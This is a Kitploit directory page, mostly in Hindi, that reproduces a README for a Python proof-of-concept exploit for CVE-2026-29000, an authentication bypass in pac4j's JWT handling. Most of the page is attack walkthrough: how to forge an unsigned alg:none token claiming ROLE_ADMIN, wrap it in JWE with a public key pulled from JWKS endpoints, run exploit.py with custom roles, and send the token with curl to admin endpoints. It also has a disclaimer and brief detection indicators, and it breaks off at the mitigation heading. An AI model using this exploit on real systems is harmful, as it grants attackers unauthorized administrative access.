Skip to content
KitploitKITPLOIT
उपकरणएक्सप्लॉइटब्लॉग
Log in
जमा करें
उपकरणएक्सप्लॉइटब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-29000 — Python POC, CVE-2026-29000 के लिए Exploit | Kitploit
उपकरण/GitHubGitHub/c0gnit00/cve-2026-29000
प्रमाणीकरण और प्राधिकरणपेलोड जनरेशनभेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणक्रिप्टोग्राफीपेनिट्रेशन टेस्टिंगलर्निंग और शिक्षा
GitHubc0gnit00/cve-2026-29000

CVE-2026-29000

Python POC, CVE-2026-29000 के लिए Exploit

रिपॉजिटरी देखें
1144 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2026-29000: pac4j JWT प्रमाणीकरण बाईपास PoC

प्रूफ ऑफ कॉन्सेप्ट CVE-2026-29000 के लिए - pac4j JWT इम्प्लीमेंटेशन में एक गंभीर प्रमाणीकरण बाईपास भेद्यता जो हमलावरों को बिना वैध हस्ताक्षर के एडमिन टोकन बनाने की अनुमति देती है।


⚠️ अस्वीकरण

यह टूल केवल शैक्षिक और अधिकृत सुरक्षा परीक्षण उद्देश्यों के लिए प्रदान किया गया है। लेखक इस एक्सप्लॉइट के किसी भी दुरुपयोग, क्षति, या अवैध उपयोग के लिए कोई ज़िम्मेदारी नहीं लेता है।

  • कंप्यूटर सिस्टम तक अनधिकृत पहुंच अधिकांश क्षेत्राधिकारों में अवैध है
  • उपयोगकर्ताओं को परीक्षण से पहले स्पष्ट लिखित अनुमति प्राप्त करनी होगी
  • लेखक इस टूल के दुरुपयोग से उत्पन्न किसी भी परिणाम के लिए उत्तरदायी नहीं है
  • यह एक सुरक्षा अनुसंधान और शैक्षिक टूल है - नैतिक और कानूनी रूप से उपयोग करें

📋 भेद्यता अवलोकन

यह भेद्यता pac4j के JWT प्रमाणीकरण तंत्र में एक दोष का शोषण करती है जहां लाइब्रेरी:

  1. JWT हेडर में alg: "none" के साथ बिना हस्ताक्षर वाले टोकन स्वीकार करती है
  2. आंतरिक JWT हस्ताक्षर को ठीक से सत्यापित किए बिना JWE-लिपटे टोकन पर भरोसा करती है
  3. बिना हस्ताक्षर वाले पेलोड में कस्टम दावों के माध्यम से भूमिका उन्नयन की अनुमति देती है

एक हमलावर मनमाने दावों (जैसे role: "ROLE_ADMIN") के साथ एक बिना हस्ताक्षर वाला JWT बना सकता है, इसे सर्वर की सार्वजनिक कुंजी का उपयोग करके JWE कंटेनर में एन्क्रिप्ट कर सकता है, और एडमिन कार्यक्षमताओं तक अनधिकृत पहुंच प्राप्त कर सकता है।


🎯 सफल शोषण के लिए पूर्वापेक्षाएँ

सर्वर-साइड आवश्यकताएँ

इस एक्सप्लॉइट के सफल होने के लिए, लक्ष्य सर्वर को निम्नलिखित सभी शर्तों को पूरा करना होगा:

1. सुलभ JWKS एंडपॉइंट

सर्वर को अपनी सार्वजनिक कुंजियाँ इनमें से किसी एक एंडपॉइंट के माध्यम से उजागर करनी चाहिए:

  • /.well-known/jwks.json (मानक OAuth/OIDC एंडपॉइंट)
  • /api/auth/jwks (कस्टम एंडपॉइंट)

क्यों: एक्सप्लॉइट जाली JWE टोकन को एन्क्रिप्ट करने के लिए सर्वर की सार्वजनिक कुंजी स्वचालित रूप से प्राप्त करता है।

2. JWT ROLE दावा स्वीकृति

सर्वर को यह करना होगा:

  • JWT पेलोड में role दावे को स्वीकार और संसाधित करना
  • कम से कम एक विशेषाधिकार स्तर होना जो उन्नत पहुंच प्रदान करता है (जैसे, ROLE_ADMIN)
  • JWT हस्ताक्षर सत्यापित नहीं करना या बिना हस्ताक्षर वाले टोकन की अनुमति देना

सामान्य भूमिकाएँ:

  • ROLE_ADMIN - पूर्ण एडमिनिस्ट्रेटिव पहुंच
  • ROLE_USER - मानक उपयोगकर्ता पहुंच
  • एप्लिकेशन के आधार पर कस्टम भूमिकाएँ

3. JWE टोकन प्रोसेसिंग

सर्वर को यह करना होगा:

  • JWE (एन्क्रिप्टेड) टोकन को वैध प्रमाणीकरण के रूप में स्वीकार करना
  • आंतरिक बिना हस्ताक्षर वाले JWT को डिक्रिप्ट और संसाधित करना
  • आंतरिक JWT के हस्ताक्षर को सत्यापित नहीं करना या एल्गोरिथ्म की जाँच नहीं करना

4. असुरक्षित pac4j कॉन्फ़िगरेशन

एप्लिकेशन को pac4j का उपयोग इनके साथ करना चाहिए:

  • एल्गोरिथ्म "none" पर सेट या अपर्याप्त एल्गोरिथ्म सत्यापन
  • JWE एन्क्रिप्शन सक्षम लेकिन आंतरिक JWT पर हस्ताक्षर सत्यापन अक्षम
  • JWE डिक्रिप्शन से परे कोई अतिरिक्त टोकन सत्यापन नहीं

🛠️ इंस्टॉलेशन

आवश्यकताएँ

  • Python 3.7+
  • आवश्यक पैकेज: requests, jwcrypto

सेटअप

# Clone the repository
git clone https://github.com/yourusername/CVE-2026-29000.git
cd CVE-2026-29000

# Install dependencies
pip install -r requirements.txt

requirements.txt

requests>=2.28.0
jwcrypto>=1.4.0

🚀 उपयोग

बेसिक उपयोग

python3 exploit.py <TARGET_URL>

उदाहरण:

python3 exploit.py http://vulnerable-app.local:8080

स्क्रिप्ट यह करेगी:

  1. मानक एंडपॉइंट से JWKS प्राप्त करने का प्रयास करें
  2. role: "ROLE_ADMIN" के साथ एक बिना हस्ताक्षर वाला JWT उत्पन्न करें
  3. इसे सर्वर की सार्वजनिक कुंजी का उपयोग करके एन्क्रिप्ट करें
  4. प्रमाणीकरण के लिए तैयार JWE टोकन आउटपुट करें

उन्नत विकल्प

कस्टम उपयोगकर्ता नाम

python3 exploit.py http://vulnerable-app.local:8080 --username john

कस्टम भूमिका

python3 exploit.py http://vulnerable-app.local:8080 --role ROLE_MODERATOR

मैन्युअल रूप से JWKS प्रदान करें

यदि JWKS एंडपॉइंट सार्वजनिक रूप से सुलभ नहीं है, तो JWK मैन्युअल रूप से प्रदान करें:

python3 exploit.py http://vulnerable-app.local:8080 \
  --jwk '{"keys":[{"kty":"RSA","n":"...","e":"AQAB"}]}'

सभी विकल्पों के साथ पूर्ण उदाहरण

python3 exploit.py http://vulnerable-app.local:8080 \
  --username hacker \
  --role ROLE_ADMIN \
  --jwk '{"keys":[{...}]}'

📤 जनरेटेड टोकन का उपयोग

एक्सप्लॉइट निम्नलिखित प्रारूप में JWE टोकन आउटपुट करता है:

Authorization: Bearer eyJhbGciOiJSU0EtT0FFUC0yNTYiLCJlbmMiOiJBMTI4R0NNIiwia2lkIjoiZW5jLWtleS0xIiwiY3R5IjoiSldUIn0...

प्रमाणित अनुरोध करना

संरक्षित एंडपॉइंट तक पहुंचने के लिए HTTP अनुरोधों में टोकन का उपयोग करें:

# Using curl
curl -H "Authorization: Bearer <JWE_TOKEN>" \
  http://vulnerable-app.local:8080/api/admin/dashboard

# Using Python requests
import requests
headers = {"Authorization": f"Bearer {jwe_token}"}
response = requests.get("http://vulnerable-app.local:8080/api/admin", headers=headers)

प्राधिकरण हेडर के साथ उदाहरण अनुरोध

curl -H "Authorization: Bearer eyJhbGciOiJSU0EtT0FFUC0yNTYiLCJlbmMiOiJBMTI4R0NNIiwia2lkIjoiZW5jLWtleS0xIiwiY3R5IjoiSldUIn0..." \
  http://vulnerable-app.local:8080/api/users/list

🔍 एक्सप्लॉइट कैसे काम करता है

चरण 1: बिना हस्ताक्षर वाला JWT बनाएं

header = {"alg": "none", "type": "JWT"}
payload = {
    "sub": "admin",              # Username
    "role": "ROLE_ADMIN",        # Privilege level
    "iss": "principal-platform", # Issuer
    "iat": 1234567890,          # Issued at
    "exp": 1234571490           # Expiration (1 hour)
}

JWT बिना हस्ताक्षर (alg: "none") के साथ बनाया गया है, जो सामान्य रूप से अमान्य है लेकिन असुरक्षित सर्वर द्वारा स्वीकार कर लिया जाता है।

चरण 2: सर्वर का JWKS प्राप्त करें

एक्सप्लॉइट क्वेरी करता है:

  1. /.well-known/jwks.json (OAuth/OIDC मानक)
  2. /api/auth/jwks (कस्टम एंडपॉइंट)

यह एन्क्रिप्शन के लिए आवश्यक सर्वर की RSA सार्वजनिक कुंजी प्राप्त करता है।

चरण 3: JWT को JWE के रूप में एन्क्रिप्ट करें

बिना हस्ताक्षर वाला JWT इनका उपयोग करके एन्क्रिप्ट किया जाता है:

  • एल्गोरिथ्म: RSA-OAEP-256 (असममित एन्क्रिप्शन)
  • एन्क्रिप्शन: A128GCM (प्रमाणित एन्क्रिप्शन)
  • कुंजी: सर्वर की सार्वजनिक कुंजी (छेड़छाड़ रोकता है)

यह एक JWE टोकन बनाता है जिसे सर्वर डिक्रिप्ट कर सकता है लेकिन आंतरिक हस्ताक्षर को सत्यापित नहीं करेगा।

चरण 4: टोकन का उपयोग करें

JWE टोकन Authorization हेडर में शामिल किया गया है:

Authorization: Bearer <JWE_TOKEN>

असुरक्षित सर्वर इसे डिक्रिप्ट करता है और बिना हस्ताक्षर वाला JWT निकालता है, बिना हस्ताक्षर सत्यापित किए दावों पर भरोसा करता है।


🔐 भेद्यता श्रृंखला

Unsigned JWT (alg:none)
         ↓
  Wraps in JWE (with server's public key)
         ↓
  Server receives JWE token
         ↓
  Server decrypts JWE
         ↓
  Extracts inner unsigned JWT
         ↓
  ❌ Server does NOT verify signature
         ↓
  ✅ Accepts claims as valid (role: ROLE_ADMIN)
         ↓
  Attacker has admin access!

⚠️ पहचान और संकेतक

भेद्यता के सर्वर-साइड संकेतक

  1. JWKS एंडपॉइंट एक्सपोज़र

    • जाँचें कि क्या /.well-known/jwks.json या /api/auth/jwks सार्वजनिक रूप से सुलभ है
  2. JWT सत्यापन लॉग

    • alg: "none" वाले टोकन स्वीकार करने वाले लॉग देखें
    • बिना हस्ताक्षर वाले टोकन स्वीकार किए जाने के बारे में चेतावनियाँ
  3. कॉन्फ़िगरेशन समीक्षा

    • जाँचें कि क्या pac4j का हस्ताक्षर सत्यापन अक्षम है
    • JWE डिक्रिप्शन सेटिंग्स सत्यापित करें

नेटवर्क संकेतक

# Reconnaissance
curl -s http://target:8080/.well-known/jwks.json | jq .
curl -s http://target:8080/api/auth/jwks | jq .

# Check if JWE tokens are accepted
curl -H "Authorization: Bearer eyJ..." http://target:8080/api/protected

🛡️ शमन और उपचार

pac4j का उपयोग करने वाले डेवलपर्स के लिए

टूल डाउनलोड करें